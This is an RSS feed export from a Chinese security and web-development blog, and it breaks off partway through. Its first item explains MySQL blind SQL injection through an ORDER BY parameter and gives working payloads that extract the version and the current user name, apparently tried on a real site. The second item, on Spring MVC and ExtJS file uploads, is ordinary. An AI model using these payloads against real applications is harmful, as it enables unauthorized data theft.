<?xml version="1.0" encoding="utf-8"?><?xml-stylesheet href='http://feed.ineeke.com/styles/temp01.xsl' type='text/xsl' ?><!--这是一个由Feedsy提供技术支持的Feed，为了提高读者阅读的体验，以及满足用户美化自己Feed的需要，我们设计了多种精美的Feed模板，提供给大家选择，所有最终呈现出来的样式，皆由用户自愿选择使用，未经许可，任何团体和个人，请不要擅自修改样式或者盗用，这是对于用户选择权的尊重。--><rss xmlns:atom="http://www.w3.org/2005/Atom" xmlns:fs="http://www.feedsky.com/namespace/feed" xmlns:sy="http://purl.org/rss/1.0/modules/syndication/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:wfw="http://wellformedweb.org/CommentAPI/" xmlns:slash="http://purl.org/rss/1.0/modules/slash/" xmlns:dc="http://purl.org/dc/elements/1.1/" version="2.0"><channel><atom:link href="http://feed.ineeke.com" type="application/rss+xml" rel="self"></atom:link><fs:self_link href="http://feed.feedsky.com/Neekesblog_k9wg" type="application/rss+xml"></fs:self_link><lastBuildDate>Thu, 05 Jan 2012 03:08:30 GMT</lastBuildDate><title>Neeke's Blog</title><description>Neeke的个人博客，记录个人生活及学习点滴，关注WEB开发技术。</description><image><url>http://www.feedsky.com/feed/Neekesblog_k9wg/sc/gif</url><title>Neeke's Blog</title><link>http://www.ineeke.com</link></image><link>http://www.ineeke.com</link><sy:updatePeriod>hourly</sy:updatePeriod><sy:updateFrequency>1</sy:updateFrequency><language>en</language><pubDate>Sat, 07 Jan 2012 13:04:27 GMT</pubDate><item><title>MySQL盲注</title><link>http://item.feedsky.com/~feedsky/Neekesblog_k9wg/~8023345/593716106/5077616/1/item.html</link><content:encoded>&lt;p&gt;原文已经应要求删除了，后来想了想觉得我还是有必要记录一下的，只不过不再类似之前实战或现场直播带插图式，不提名挂号。更新一次博客不容易呀！&lt;br /&gt;
&lt;span id=&quot;more-1415&quot;&gt;&lt;/span&gt;&lt;br /&gt;
有个注入点接收如下几个参数：&lt;br /&gt;
&lt;code&gt;category=4&amp;#038;limit1=0&amp;#038;limit2=1&amp;#038;order=desc&amp;#038;orderColumn=1&lt;/code&gt;&lt;br /&gt;
根据这几个参数，大致就可以猜出SQL语句如下：&lt;/p&gt;

&lt;div class=&quot;wp_syntax&quot;&gt;&lt;div class=&quot;code&quot;&gt;&lt;pre class=&quot;sql&quot; style=&quot;font-family:monospace;&quot;&gt;&lt;span style=&quot;color: #993333; font-weight: bold;&quot;&gt;SELECT&lt;/span&gt; &lt;span style=&quot;color: #66cc66;&quot;&gt;*&lt;/span&gt; &lt;span style=&quot;color: #993333; font-weight: bold;&quot;&gt;FROM&lt;/span&gt; iNeeke &lt;span style=&quot;color: #993333; font-weight: bold;&quot;&gt;WHERE&lt;/span&gt; category &lt;span style=&quot;color: #66cc66;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #cc66cc;&quot;&gt;4&lt;/span&gt; &lt;span style=&quot;color: #993333; font-weight: bold;&quot;&gt;ORDER&lt;/span&gt; &lt;span style=&quot;color: #993333; font-weight: bold;&quot;&gt;BY&lt;/span&gt; &lt;span style=&quot;color: #cc66cc;&quot;&gt;1&lt;/span&gt; &lt;span style=&quot;color: #993333; font-weight: bold;&quot;&gt;DESC&lt;/span&gt; &lt;span style=&quot;color: #993333; font-weight: bold;&quot;&gt;LIMIT&lt;/span&gt; &lt;span style=&quot;color: #cc66cc;&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color: #66cc66;&quot;&gt;,&lt;/span&gt;&lt;span style=&quot;color: #cc66cc;&quot;&gt;0&lt;/span&gt;;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;一般注入的时候都是用“category = 4 and where 1=2 union select &amp;#8230;”或“limit 0,1 union select &amp;#8230;”来改变结果集的，但从上面的SQL看来后者是不行的，因为在“order by”后面不能出现“union”，而category参数也做了过滤，也就行不通了。&lt;br /&gt;
现在只能在orderColumn这个参数上下功夫了，它改变不了查询结果，但是可以想办法它查询成功或查询出错，这样就可以盲注了，这里参考了一下老君的文章：http://www.oldjun.com/blog/index.php/archives/62/&lt;br /&gt;
然后开始拼装SQL：&lt;br /&gt;
查版本：&lt;br /&gt;
&lt;code&gt;category=4&amp;#038;limit1=0&amp;#038;limit2=1&amp;#038;order=desc&amp;#038;orderColumn=1,(select case when(select substring(version(),1,1) &gt; 5) then 1 else 1*(select 1 union select 2)end)=1&lt;/code&gt;&lt;br /&gt;
查当前MySQL用户名长度：&lt;br /&gt;
&lt;code&gt;category=4&amp;#038;limit1=0&amp;#038;limit2=1&amp;#038;order=desc&amp;#038;orderColumn=1,(select case when(select length(user()) &gt; 10) then 1 else 1*(select 1 union select 2)end)=1&lt;/code&gt;&lt;br /&gt;
查当前MySQL用户名第一个字符内容：&lt;br /&gt;
&lt;code&gt;category=4&amp;#038;limit1=0&amp;#038;limit2=1&amp;#038;order=desc&amp;#038;orderColumn=1,(select case when(select ascii(substring(user(),1,1)) = 120) then 1 else 1*(select 1 union select 2)end)=1&lt;/code&gt;&lt;br /&gt;
以此类推，什么库名，表明，字段，数据都能搞出来，只是手工盲注太累人了&amp;#8230;&lt;br /&gt;
就这么着吧，不过感觉这东西还可以再深入研究。&lt;/p&gt;
&lt;table class=&quot;wumii-related-items&quot; cellspacing=&quot;0&quot; cellpadding=&quot;3&quot; border=&quot;0&quot;  style=&quot;clear: both;&quot;&gt;
    
    &lt;tr&gt;
        &lt;td colspan=&quot;5&quot;&gt;&lt;b&gt;&lt;font size=&quot;-1&quot;  style=&quot;display: block !important; padding: 20px 0 5px !important;&quot;&gt;您可能也喜欢：&lt;/font&gt;&lt;/b&gt;&lt;/td&gt;
    &lt;/tr&gt;
    
        &lt;tr&gt;
                &lt;td width=&quot;101&quot; valign=&quot;top&quot; style=&quot;padding: 5px !important; margin: 0 !important;&quot;&gt;
                    &lt;a target=&quot;_blank&quot; title=&quot;无意中入侵一台Windows Server 2008&quot; style=&quot;text-decoration: none !important; cursor: pointer !important;&quot; href=&quot;http://app.wumii.com/ext/redirect.htm?url=http%3A%2F%2Fwww.ineeke.com%2Farchives%2F1179%2F&amp;from=http%3A%2F%2Fwww.ineeke.com%2Farchives%2F1415%2F&quot;&gt;
                        &lt;img style=&quot;margin: 0 !important; padding: 2px !important; border: 1px solid #DDDDDD !important; width: 95px !important; height: 95px !important;&quot; src=&quot;http://static.wumii.com/site_images/2011/05/05/7679200.png&quot; width=&quot;95px&quot; height=&quot;95px&quot; /&gt;&lt;br /&gt;
                        &lt;font size=&quot;-1&quot; color=&quot;#333333&quot; style=&quot;display: block !important; line-height: 15px !important; width: 101px !important; font: 12px/15px arial !important; height: 60px !important; margin: 3px 0 0 0 !important; padding: 0 !important; overflow: hidden !important;&quot;&gt;无意中入侵一台Windows Server 2008&lt;/font&gt;
                    &lt;/a&gt;
                &lt;/td&gt;
                &lt;td width=&quot;101&quot; valign=&quot;top&quot; style=&quot;padding: 5px !important; margin: 0 !important; border-left: 1px solid #DDDDDD !important;&quot;&gt;
                    &lt;a target=&quot;_blank&quot; title=&quot;黑色小亮的博客是这么被XXOO的&quot; style=&quot;text-decoration: none !important; cursor: pointer !important;&quot; href=&quot;http://app.wumii.com/ext/redirect.htm?url=http%3A%2F%2Fwww.ineeke.com%2Farchives%2F1390%2F&amp;from=http%3A%2F%2Fwww.ineeke.com%2Farchives%2F1415%2F&quot;&gt;
                        &lt;img style=&quot;margin: 0 !important; padding: 2px !important; border: 1px solid #DDDDDD !important; width: 95px !important; height: 95px !important;&quot; src=&quot;http://static.wumii.com/site_images/2011/07/09/16753094.png&quot; width=&quot;95px&quot; height=&quot;95px&quot; /&gt;&lt;br /&gt;
                        &lt;font size=&quot;-1&quot; color=&quot;#333333&quot; style=&quot;display: block !important; line-height: 15px !important; width: 101px !important; font: 12px/15px arial !important; height: 60px !important; margin: 3px 0 0 0 !important; padding: 0 !important; overflow: hidden !important;&quot;&gt;黑色小亮的博客是这么被XXOO的&lt;/font&gt;
                    &lt;/a&gt;
                &lt;/td&gt;
                &lt;td width=&quot;101&quot; valign=&quot;top&quot; style=&quot;padding: 5px !important; margin: 0 !important; border-left: 1px solid #DDDDDD !important;&quot;&gt;
                    &lt;a target=&quot;_blank&quot; title=&quot;多思路WEB入侵&quot; style=&quot;text-decoration: none !important; cursor: pointer !important;&quot; href=&quot;http://app.wumii.com/ext/redirect.htm?url=http%3A%2F%2Fwww.ineeke.com%2Farchives%2F770%2F&amp;from=http%3A%2F%2Fwww.ineeke.com%2Farchives%2F1415%2F&quot;&gt;
                        &lt;img style=&quot;margin: 0 !important; padding: 2px !important; border: 1px solid #DDDDDD !important; width: 95px !important; height: 95px !important;&quot; src=&quot;http://static.wumii.com/images/blogWidget/wordpress_default.gif&quot; width=&quot;95px&quot; height=&quot;95px&quot; /&gt;&lt;br /&gt;
                        &lt;font size=&quot;-1&quot; color=&quot;#333333&quot; style=&quot;display: block !important; line-height: 15px !important; width: 101px !important; font: 12px/15px arial !important; height: 60px !important; margin: 3px 0 0 0 !important; padding: 0 !important; overflow: hidden !important;&quot;&gt;多思路WEB入侵&lt;/font&gt;
                    &lt;/a&gt;
                &lt;/td&gt;
                &lt;td width=&quot;101&quot; valign=&quot;top&quot; style=&quot;padding: 5px !important; margin: 0 !important; border-left: 1px solid #DDDDDD !important;&quot;&gt;
                    &lt;a target=&quot;_blank&quot; title=&quot;WEB服务器与数据库服务器分离情况下的入侵&quot; style=&quot;text-decoration: none !important; cursor: pointer !important;&quot; href=&quot;http://app.wumii.com/ext/redirect.htm?url=http%3A%2F%2Fwww.ineeke.com%2Farchives%2F773%2F&amp;from=http%3A%2F%2Fwww.ineeke.com%2Farchives%2F1415%2F&quot;&gt;
                        &lt;img style=&quot;margin: 0 !important; padding: 2px !important; border: 1px solid #DDDDDD !important; width: 95px !important; height: 95px !important;&quot; src=&quot;http://static.wumii.com/images/blogWidget/wordpress_default.gif&quot; width=&quot;95px&quot; height=&quot;95px&quot; /&gt;&lt;br /&gt;
                        &lt;font size=&quot;-1&quot; color=&quot;#333333&quot; style=&quot;display: block !important; line-height: 15px !important; width: 101px !important; font: 12px/15px arial !important; height: 60px !important; margin: 3px 0 0 0 !important; padding: 0 !important; overflow: hidden !important;&quot;&gt;WEB服务器与数据库服务器分离情况下的入侵&lt;/font&gt;
                    &lt;/a&gt;
                &lt;/td&gt;
                &lt;td width=&quot;101&quot; valign=&quot;top&quot; style=&quot;padding: 5px !important; margin: 0 !important; border-left: 1px solid #DDDDDD !important;&quot;&gt;
                    &lt;a target=&quot;_blank&quot; title=&quot;高中母校网站被黑客LJ了&quot; style=&quot;text-decoration: none !important; cursor: pointer !important;&quot; href=&quot;http://app.wumii.com/ext/redirect.htm?url=http%3A%2F%2Fwww.ineeke.com%2Farchives%2F1337%2F&amp;from=http%3A%2F%2Fwww.ineeke.com%2Farchives%2F1415%2F&quot;&gt;
                        &lt;img style=&quot;margin: 0 !important; padding: 2px !important; border: 1px solid #DDDDDD !important; width: 95px !important; height: 95px !important;&quot; src=&quot;http://static.wumii.com/site_images/2011/05/18/8853470.png&quot; width=&quot;95px&quot; height=&quot;95px&quot; /&gt;&lt;br /&gt;
                        &lt;font size=&quot;-1&quot; color=&quot;#333333&quot; style=&quot;display: block !important; line-height: 15px !important; width: 101px !important; font: 12px/15px arial !important; height: 60px !important; margin: 3px 0 0 0 !important; padding: 0 !important; overflow: hidden !important;&quot;&gt;高中母校网站被黑客LJ了&lt;/font&gt;
                    &lt;/a&gt;
                &lt;/td&gt;
        &lt;/tr&gt;
    
    &lt;tr&gt;
        &lt;td colspan=&quot;5&quot; align=&quot;right&quot;&gt;
            &lt;a style=&quot;text-decoration: none !important;&quot; href=&quot;http://www.wumii.com/widget/relatedItems.htm&quot; target=&quot;_blank&quot; title=&quot;无觅相关文章插件&quot;&gt;
                &lt;font size=&quot;-1&quot; color=&quot;#bbbbbb&quot; style=&quot;display: block !important; font-family: arial !important; padding: 5px 0 !important; font-size: 12px !important; color: #bbb !important;&quot;&gt;无觅&lt;/font&gt;
            &lt;/a&gt;
        &lt;/td&gt;
    &lt;/tr&gt;
&lt;/table&gt;&lt;img src=&quot;http://www1.feedsky.com/t1/593716106/Neekesblog_k9wg/feedsky/s.gif?r=http://item.feedsky.com/~feedsky/Neekesblog_k9wg/~8023345/593716106/5077616/1/item.html&quot; border=&quot;0&quot; height=&quot;0&quot; width=&quot;0&quot; style=&quot;position:absolute&quot; /&gt;</content:encoded><wfw:commentRss>http://www.ineeke.com/archives/1415/feed/</wfw:commentRss><slash:comments>13</slash:comments><description>原文已经应要求删除了，后来想了想觉得我还是有必要记录一下的，只不过不再类似之前实战或现场直播带插图式，不提名挂号。更新一次博客不容易呀！ 有个注入点接收如下几个参数： category=4&amp;#038;limit1=0&amp;#038;limit2=1&amp;#038;order=desc&amp;#038;orderColumn=1 根据这几个参数，大致就可以猜出SQL语句如下： SELECT * FROM iNeeke WHERE category = 4 ORDER BY 1 DESC LIMIT 0,0; 一般注入的时候都是用“category = 4 and where 1=2 union select &amp;#8230;”或“limit 0,1 union select &amp;#8230;”来改变结果集的，但从上面的SQL看来后者是不行的，因为在“order by”后面不能出现“union”，而category参数也做了过滤，也就行不通了。 现在只能在orderColumn这个参数上下功夫了，它改变不了查询结果，但是可以想办法它查询成功或查询出错，这样就可以盲注了，这里参考了一下老君的文章：http://www.oldjun.com/blog/index.php/archives/62/ 然后开始拼装SQL： 查版本： category=4&amp;#038;limit1=0&amp;#038;limit2=1&amp;#038;order=desc&amp;#038;orderColumn=1,(select case when(select substring(version(),1,1) &gt; 5) then 1 else 1*(select 1 union select 2)end)=1 查当前MySQL用户名长度： category=4&amp;#038;limit1=0&amp;#038;limit2=1&amp;#038;order=desc&amp;#038;orderColumn=1,(select case when(select length(user()) &gt; [...]&lt;table class=&quot;wumii-related-items&quot; cellspacing=&quot;0&quot; cellpadding=&quot;3&quot; border=&quot;0&quot;  style=&quot;clear: both;&quot;&gt;
    
    &lt;tr&gt;
        &lt;td colspan=&quot;5&quot;&gt;&lt;b&gt;&lt;font size=&quot;-1&quot;  style=&quot;display: block !important; padding: 20px 0 5px !important;&quot;&gt;您可能也喜欢：&lt;/font&gt;&lt;/b&gt;&lt;/td&gt;
    &lt;/tr&gt;
    
        &lt;tr&gt;
                &lt;td width=&quot;101&quot; valign=&quot;top&quot; style=&quot;padding: 5px !important; margin: 0 !important;&quot;&gt;
                    &lt;a target=&quot;_blank&quot; title=&quot;无意中入侵一台Windows Server 2008&quot; style=&quot;text-decoration: none !important; cursor: pointer !important;&quot; href=&quot;http://app.wumii.com/ext/redirect.htm?url=http%3A%2F%2Fwww.ineeke.com%2Farchives%2F1179%2F&amp;from=http%3A%2F%2Fwww.ineeke.com%2Farchives%2F1415%2F&quot;&gt;
                        &lt;img style=&quot;margin: 0 !important; padding: 2px !important; border: 1px solid #DDDDDD !important; width: 95px !important; height: 95px !important;&quot; src=&quot;http://static.wumii.com/site_images/2011/05/05/7679200.png&quot; width=&quot;95px&quot; height=&quot;95px&quot; /&gt;&lt;br /&gt;
                        &lt;font size=&quot;-1&quot; color=&quot;#333333&quot; style=&quot;display: block !important; line-height: 15px !important; width: 101px !important; font: 12px/15px arial !important; height: 60px !important; margin: 3px 0 0 0 !important; padding: 0 !important; overflow: hidden !important;&quot;&gt;无意中入侵一台Windows Server 2008&lt;/font&gt;
                    &lt;/a&gt;
                &lt;/td&gt;
                &lt;td width=&quot;101&quot; valign=&quot;top&quot; style=&quot;padding: 5px !important; margin: 0 !important; border-left: 1px solid #DDDDDD !important;&quot;&gt;
                    &lt;a target=&quot;_blank&quot; title=&quot;黑色小亮的博客是这么被XXOO的&quot; style=&quot;text-decoration: none !important; cursor: pointer !important;&quot; href=&quot;http://app.wumii.com/ext/redirect.htm?url=http%3A%2F%2Fwww.ineeke.com%2Farchives%2F1390%2F&amp;from=http%3A%2F%2Fwww.ineeke.com%2Farchives%2F1415%2F&quot;&gt;
                        &lt;img style=&quot;margin: 0 !important; padding: 2px !important; border: 1px solid #DDDDDD !important; width: 95px !important; height: 95px !important;&quot; src=&quot;http://static.wumii.com/site_images/2011/07/09/16753094.png&quot; width=&quot;95px&quot; height=&quot;95px&quot; /&gt;&lt;br /&gt;
                        &lt;font size=&quot;-1&quot; color=&quot;#333333&quot; style=&quot;display: block !important; line-height: 15px !important; width: 101px !important; font: 12px/15px arial !important; height: 60px !important; margin: 3px 0 0 0 !important; padding: 0 !important; overflow: hidden !important;&quot;&gt;黑色小亮的博客是这么被XXOO的&lt;/font&gt;
                    &lt;/a&gt;
                &lt;/td&gt;
                &lt;td width=&quot;101&quot; valign=&quot;top&quot; style=&quot;padding: 5px !important; margin: 0 !important; border-left: 1px solid #DDDDDD !important;&quot;&gt;
                    &lt;a target=&quot;_blank&quot; title=&quot;多思路WEB入侵&quot; style=&quot;text-decoration: none !important; cursor: pointer !important;&quot; href=&quot;http://app.wumii.com/ext/redirect.htm?url=http%3A%2F%2Fwww.ineeke.com%2Farchives%2F770%2F&amp;from=http%3A%2F%2Fwww.ineeke.com%2Farchives%2F1415%2F&quot;&gt;
                        &lt;img style=&quot;margin: 0 !important; padding: 2px !important; border: 1px solid #DDDDDD !important; width: 95px !important; height: 95px !important;&quot; src=&quot;http://static.wumii.com/images/blogWidget/wordpress_default.gif&quot; width=&quot;95px&quot; height=&quot;95px&quot; /&gt;&lt;br /&gt;
                        &lt;font size=&quot;-1&quot; color=&quot;#333333&quot; style=&quot;display: block !important; line-height: 15px !important; width: 101px !important; font: 12px/15px arial !important; height: 60px !important; margin: 3px 0 0 0 !important; padding: 0 !important; overflow: hidden !important;&quot;&gt;多思路WEB入侵&lt;/font&gt;
                    &lt;/a&gt;
                &lt;/td&gt;
                &lt;td width=&quot;101&quot; valign=&quot;top&quot; style=&quot;padding: 5px !important; margin: 0 !important; border-left: 1px solid #DDDDDD !important;&quot;&gt;
                    &lt;a target=&quot;_blank&quot; title=&quot;WEB服务器与数据库服务器分离情况下的入侵&quot; style=&quot;text-decoration: none !important; cursor: pointer !important;&quot; href=&quot;http://app.wumii.com/ext/redirect.htm?url=http%3A%2F%2Fwww.ineeke.com%2Farchives%2F773%2F&amp;from=http%3A%2F%2Fwww.ineeke.com%2Farchives%2F1415%2F&quot;&gt;
                        &lt;img style=&quot;margin: 0 !important; padding: 2px !important; border: 1px solid #DDDDDD !important; width: 95px !important; height: 95px !important;&quot; src=&quot;http://static.wumii.com/images/blogWidget/wordpress_default.gif&quot; width=&quot;95px&quot; height=&quot;95px&quot; /&gt;&lt;br /&gt;
                        &lt;font size=&quot;-1&quot; color=&quot;#333333&quot; style=&quot;display: block !important; line-height: 15px !important; width: 101px !important; font: 12px/15px arial !important; height: 60px !important; margin: 3px 0 0 0 !important; padding: 0 !important; overflow: hidden !important;&quot;&gt;WEB服务器与数据库服务器分离情况下的入侵&lt;/font&gt;
                    &lt;/a&gt;
                &lt;/td&gt;
                &lt;td width=&quot;101&quot; valign=&quot;top&quot; style=&quot;padding: 5px !important; margin: 0 !important; border-left: 1px solid #DDDDDD !important;&quot;&gt;
                    &lt;a target=&quot;_blank&quot; title=&quot;高中母校网站被黑客LJ了&quot; style=&quot;text-decoration: none !important; cursor: pointer !important;&quot; href=&quot;http://app.wumii.com/ext/redirect.htm?url=http%3A%2F%2Fwww.ineeke.com%2Farchives%2F1337%2F&amp;from=http%3A%2F%2Fwww.ineeke.com%2Farchives%2F1415%2F&quot;&gt;
                        &lt;img style=&quot;margin: 0 !important; padding: 2px !important; border: 1px solid #DDDDDD !important; width: 95px !important; height: 95px !important;&quot; src=&quot;http://static.wumii.com/site_images/2011/05/18/8853470.png&quot; width=&quot;95px&quot; height=&quot;95px&quot; /&gt;&lt;br /&gt;
                        &lt;font size=&quot;-1&quot; color=&quot;#333333&quot; style=&quot;display: block !important; line-height: 15px !important; width: 101px !important; font: 12px/15px arial !important; height: 60px !important; margin: 3px 0 0 0 !important; padding: 0 !important; overflow: hidden !important;&quot;&gt;高中母校网站被黑客LJ了&lt;/font&gt;
                    &lt;/a&gt;
                &lt;/td&gt;
        &lt;/tr&gt;
    
    &lt;tr&gt;
        &lt;td colspan=&quot;5&quot; align=&quot;right&quot;&gt;
            &lt;a style=&quot;text-decoration: none !important;&quot; href=&quot;http://www.wumii.com/widget/relatedItems.htm&quot; target=&quot;_blank&quot; title=&quot;无觅相关文章插件&quot;&gt;
                &lt;font size=&quot;-1&quot; color=&quot;#bbbbbb&quot; style=&quot;display: block !important; font-family: arial !important; padding: 5px 0 !important; font-size: 12px !important; color: #bbb !important;&quot;&gt;无觅&lt;/font&gt;
            &lt;/a&gt;
        &lt;/td&gt;
    &lt;/tr&gt;
&lt;/table&gt;&lt;img src=&quot;http://www1.feedsky.com/t1/593716106/Neekesblog_k9wg/feedsky/s.gif?r=http://item.feedsky.com/~feedsky/Neekesblog_k9wg/~8023345/593716106/5077616/1/item.html&quot; border=&quot;0&quot; height=&quot;0&quot; width=&quot;0&quot; style=&quot;position:absolute&quot; /&gt;</description><category>入侵渗透</category><category>SQL盲注</category><category>webshell</category><category>盲注入侵</category><category>信息安全</category><pubDate>Thu, 05 Jan 2012 11:08:30 +0800</pubDate><author>Neeke</author><comments>http://www.ineeke.com/archives/1415/#comments</comments><guid isPermaLink="false">http://www.ineeke.com/?p=1415</guid><dc:creator>Neeke</dc:creator><fs:srclink>http://www.ineeke.com/archives/1415/</fs:srclink><fs:srcfeed>http://www.ineeke.com/feed/</fs:srcfeed><fs:itemid>feedsky/Neekesblog_k9wg/~8023345/593716106/5077616</fs:itemid></item><item><title>Spring MVC ExtJS4文件上传</title><link>http://item.feedsky.com/~feedsky/Neekesblog_k9wg/~8023345/593716107/5077616/1/item.html</link><content:encoded>&lt;p&gt;做文件上传的时候遇到点麻烦，ExtJS上传文件要求服务器端返回的ContentType是“text/html”，而Spring MVC默认返回的是“application/json”，于是ExtJS这边总是报错说无法将”&amp;lt;pre&amp;gt;{success: true}&amp;lt;/pre&amp;gt;”转换成JSON，很奇怪的一件事就是：为什么会出现pre标签呢？&lt;br /&gt;
&lt;span id=&quot;more-1414&quot;&gt;&lt;/span&gt;&lt;br /&gt;
先看看当前服务器端的代码：&lt;/p&gt;

&lt;div class=&quot;wp_syntax&quot;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&quot;line_numbers&quot;&gt;&lt;pre&gt;1
2
3
4
5
6
7
8
&lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;code&quot;&gt;&lt;pre class=&quot;java&quot; style=&quot;font-family:monospace;&quot;&gt;&lt;span style=&quot;color: #000000; font-weight: bold;&quot;&gt;public&lt;/span&gt; @ResponseBody Map&lt;span style=&quot;color: #339933;&quot;&gt;&amp;lt;&lt;/span&gt;String, Object&lt;span style=&quot;color: #339933;&quot;&gt;&amp;gt;&lt;/span&gt; upload&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#40;&lt;/span&gt;UserVO userVO&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#41;&lt;/span&gt;&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#123;&lt;/span&gt;
	Map&lt;span style=&quot;color: #339933;&quot;&gt;&amp;lt;&lt;/span&gt;String, Object&lt;span style=&quot;color: #339933;&quot;&gt;&amp;gt;&lt;/span&gt; modelMap &lt;span style=&quot;color: #339933;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #000000; font-weight: bold;&quot;&gt;new&lt;/span&gt; HashMap&lt;span style=&quot;color: #339933;&quot;&gt;&amp;lt;&lt;/span&gt;String, Object&lt;span style=&quot;color: #339933;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#40;&lt;/span&gt;&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#41;&lt;/span&gt;&lt;span style=&quot;color: #339933;&quot;&gt;;&lt;/span&gt;
	&lt;span style=&quot;color: #000000; font-weight: bold;&quot;&gt;if&lt;/span&gt;&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#40;&lt;/span&gt;&lt;span style=&quot;color: #339933;&quot;&gt;!&lt;/span&gt;userVO.&lt;span style=&quot;color: #006633;&quot;&gt;getUserPhoto&lt;/span&gt;&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#40;&lt;/span&gt;&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#41;&lt;/span&gt;.&lt;span style=&quot;color: #006633;&quot;&gt;isEmpty&lt;/span&gt;&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#40;&lt;/span&gt;&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#41;&lt;/span&gt;&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#41;&lt;/span&gt;&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#123;&lt;/span&gt;
		userVO.&lt;span style=&quot;color: #006633;&quot;&gt;getUserPhoto&lt;/span&gt;&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#40;&lt;/span&gt;&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#41;&lt;/span&gt;.&lt;span style=&quot;color: #006633;&quot;&gt;transferTo&lt;/span&gt;&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#40;&lt;/span&gt;&lt;span style=&quot;color: #000000; font-weight: bold;&quot;&gt;new&lt;/span&gt; &lt;span style=&quot;color: #003399;&quot;&gt;File&lt;/span&gt;&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#40;&lt;/span&gt;&lt;span style=&quot;color: #0000ff;&quot;&gt;&amp;quot;文件存放路径&amp;quot;&lt;/span&gt;&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#41;&lt;/span&gt;&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#41;&lt;/span&gt;&lt;span style=&quot;color: #339933;&quot;&gt;;&lt;/span&gt;
	&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#125;&lt;/span&gt;
	modelMap.&lt;span style=&quot;color: #006633;&quot;&gt;put&lt;/span&gt;&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#40;&lt;/span&gt;&lt;span style=&quot;color: #0000ff;&quot;&gt;&amp;quot;success&amp;quot;&lt;/span&gt;, &lt;span style=&quot;color: #000066; font-weight: bold;&quot;&gt;true&lt;/span&gt;&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#41;&lt;/span&gt;&lt;span style=&quot;color: #339933;&quot;&gt;;&lt;/span&gt;
	&lt;span style=&quot;color: #000000; font-weight: bold;&quot;&gt;return&lt;/span&gt; modelMap&lt;span style=&quot;color: #339933;&quot;&gt;;&lt;/span&gt;
&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#125;&lt;/span&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;用上面这种方式处理的时候，文件上传了成功了，但是就会出现文章开头所描述的问题，于是我改成这样：&lt;/p&gt;

&lt;div class=&quot;wp_syntax&quot;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&quot;line_numbers&quot;&gt;&lt;pre&gt;1
2
3
4
5
6
&lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;code&quot;&gt;&lt;pre class=&quot;java&quot; style=&quot;font-family:monospace;&quot;&gt;&lt;span style=&quot;color: #000000; font-weight: bold;&quot;&gt;public&lt;/span&gt; &lt;span style=&quot;color: #000066; font-weight: bold;&quot;&gt;void&lt;/span&gt; upload&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#40;&lt;/span&gt;UserVO userVO, HttpServletResponse response&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#41;&lt;/span&gt;&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#123;&lt;/span&gt;
	&lt;span style=&quot;color: #003399;&quot;&gt;String&lt;/span&gt; json &lt;span style=&quot;color: #339933;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #0000ff;&quot;&gt;&amp;quot;{success: true}&amp;quot;&lt;/span&gt;&lt;span style=&quot;color: #339933;&quot;&gt;;&lt;/span&gt;
	response.&lt;span style=&quot;color: #006633;&quot;&gt;setContentType&lt;/span&gt;&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#40;&lt;/span&gt;&lt;span style=&quot;color: #0000ff;&quot;&gt;&amp;quot;text/html&amp;quot;&lt;/span&gt;&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#41;&lt;/span&gt;&lt;span style=&quot;color: #339933;&quot;&gt;;&lt;/span&gt;
	response.&lt;span style=&quot;color: #006633;&quot;&gt;getWriter&lt;/span&gt;&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#40;&lt;/span&gt;&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#41;&lt;/span&gt;.&lt;span style=&quot;color: #006633;&quot;&gt;write&lt;/span&gt;&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#40;&lt;/span&gt;json&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#41;&lt;/span&gt;&lt;span style=&quot;color: #339933;&quot;&gt;;&lt;/span&gt;
	response.&lt;span style=&quot;color: #006633;&quot;&gt;flushBuffer&lt;/span&gt;&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#40;&lt;/span&gt;&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#41;&lt;/span&gt;&lt;span style=&quot;color: #339933;&quot;&gt;;&lt;/span&gt;
&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#125;&lt;/span&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/div&gt;

